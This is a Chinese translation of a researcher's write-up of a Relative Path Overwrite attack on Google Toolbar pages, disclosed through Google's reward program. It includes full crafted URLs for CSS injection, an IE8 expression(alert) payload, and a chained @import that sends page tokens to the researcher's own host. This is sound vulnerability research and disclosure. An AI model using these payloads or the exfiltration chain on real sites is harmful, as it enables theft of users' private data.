CSS RPO Gadgets
RPO Gadgets
这篇文章并不是讲述Return Oriented Programming (ROP)，误入的可以点右上角的红叉了。由于我想介绍的技术是Relative Path Overwrite (RPO)的进阶课程，如果没有基础的同学可以查看original introduction by Gareth 和 a real life RPO bug in phpBB by James.
Identifying RPO
目前我们可以知道的RPO利用例子是James的PRSSI ，它依赖于CSS解析器容忍在quirks mode中的非法语法（也称为松散解析），所以查找RPO漏洞的第一步就是检查页面的是否有正确的doctype。
我找到一个目标：
http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html
<html>
<head>
<title>Google Toolbar API - Guide to Making Custom Buttonstitle>
<link href="../../styles.css" rel="stylesheet" type="text/css" />
[..]第二步涉及到服务器如何解析路径。对于浏览器来说，目录之间被“/”隔开。对于服务器来说，这并不意味着一定是目录，比如说JSP接收参数时会将“;”后的内容全部视为参数 (e.g. http://example.com/path;/notpath)，这种情况下浏览器只会认为/patn;/notpath依旧是目录。
在目标中我找到可以利用RPO的地方，那里似乎有一个代理处理请求并解码路径中的内容，然后将其发送到真正的服务器。 这允许我们在路径中用％2f替换斜杠：
http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
Server：
/tools/toolbar/buttons/apis/ howto_guide.html
Browser：
/tools/toolbar/buttons/ apis%2fhowto_guide.html
Imported stylesheet：
/tools/ style.css
（加粗的表示为基本路径）
现在浏览器认为基本路径是/tools/toolbar/buttons/而不是/tools/toolbar/buttons/apis/，因此对../../style.css的引用会多跳一个目录。
我们还能伪造目录，比如我们想加载的css文件在/tools/fake/styles.css：http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html
Server：
/tools/ (fake/../抵消) toolbar/buttons/apis/ howto_guide.html
Browser：
/tools/fake/..%2ftoolbar/buttons/ apis%2fhowto_guide.html
Imported stylesheet：
/tools/fake/..%2ftoolbar/buttons/../../style.css
这里我们添加了二个虚拟目录：fake和..%2f，这样在server角度下就互相抵消了，然后浏览器认为fake和..%2ftoolbar为目录。理论上，我们可以在根目录下导入任何样式表（www.google.com/*/styles.css），不幸的是这个代理只能处理（www.google.com/tools/*/styles.css），不是tools目录中的css文件就无法导入。
除了按钮Gallery 外都是些静态元素，http://www.google.com/tools/toolbar/buttons/gallery会重定向到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1。
按钮Gallery有一个q参数，可以制作RPO的payload：http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}
效果如图所示：
现在要做的就是如何以CSS方式来加载该页面。一种方法就是重定向处理查询字符串，例如，http://www.google.com/tools/toolbar/buttons/gallery?foo=bar会将我们重定向到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&foo=bar， 查询的字符串会附加上。
最后一步就是构造查询字符串了：http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/howto_guide.html
Server:
/tools/toolbar/buttons/ (gallery?q=%0a{}*{background:red}/../抵消) /apis/ howto_guide.html
Browser:
/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/ howto_guide.html
Imported stylesheet:
/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D /..%2f/apis/../../style.css
⇓
/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css
⇓
/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css
看成功了，满页面都是红色。我们还能使用expression(alert(document.domain))，在IE8可以成功弹窗，但是在IE9却失败了。那是因为谷歌的defense-in-depth防止按钮以css方式加载（X-Content-Type-Options:nosniff 选项来关闭IE的文档类型自动判断功能）。
突然间所有的努力都是徒劳的，因为Google漏洞奖励计划（VRP）规则清楚地表明：In particular, we exclude Internet Explorer prior to version 9
Chaining Gadgets
嗯，如果我们使用RPO窃取其他页面上的秘密呢？ CSS的另一个有趣的事情是，在quirks mode下，只要它们在同一个起源，那么松散解析就适用于所有导入的样式表。这样就开启了一个新的可能性，因为我们可以使用Button Gallery作为小工具将https://www.google.com/*上的任何网页导入为样式表，如果导入的“样式表”包含隐私数据和注入点，我们可以 尝试通过注入CSS魔法来窃取它。
这样的页面要求是：
- 注入点需要在隐私数据之前
- 注入点需要允许％0a，％0c和％0d中的任何一个，以便可以从错误的状态恢复解析器状态
- 隐私数据及其周围不能包含换行符
我花了些时间找到了符合的页面：http://www.google.com/search?nord=1&q={}%0a@import”//innerht.ml?
首先要注意的是，该页面针对速度进行了优化，因此HTML被压缩过，只有少数换行符。可以看到有一些随机生成的token。 我不知道他们代表什么，但是能够窃取他们应该足以证明这次攻击确实会渗透到数据中。截图中突出显示的部分是css魔术发生的地方：我们使用@import“// innerht.ml？创建import规则，然后直到双引号的所有内容将作为受控URL的一部分使用，最后浏览器会向import“URL”发出请求，我们就可以获取到数据内容。
http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D%2540import%2527%252Fsearch%253Fnord%253D1%2526q%253D%257B%257D%25250a%2540import%252527%252F%252Finnerht.ml%253F%2522/..%2f/apis/howto_guide.html
再次向google上报：
** NOTE: This is an automatically generated email **
Hello,
Thank you for reporting this bug. As part of Google's Vulnerability Reward Program, the panel has decided to issue a reward of $1337.
Conclusion
我相信这应该是在实践中首次成功执行的RPO攻击。 最重要的是，我希望这篇文章可以让您深入了解RPO如何在没有XSS的情况下工作，以及如何识别RPO漏洞。
翻译出处
http://blog.innerht.ml/rpo-gadgets/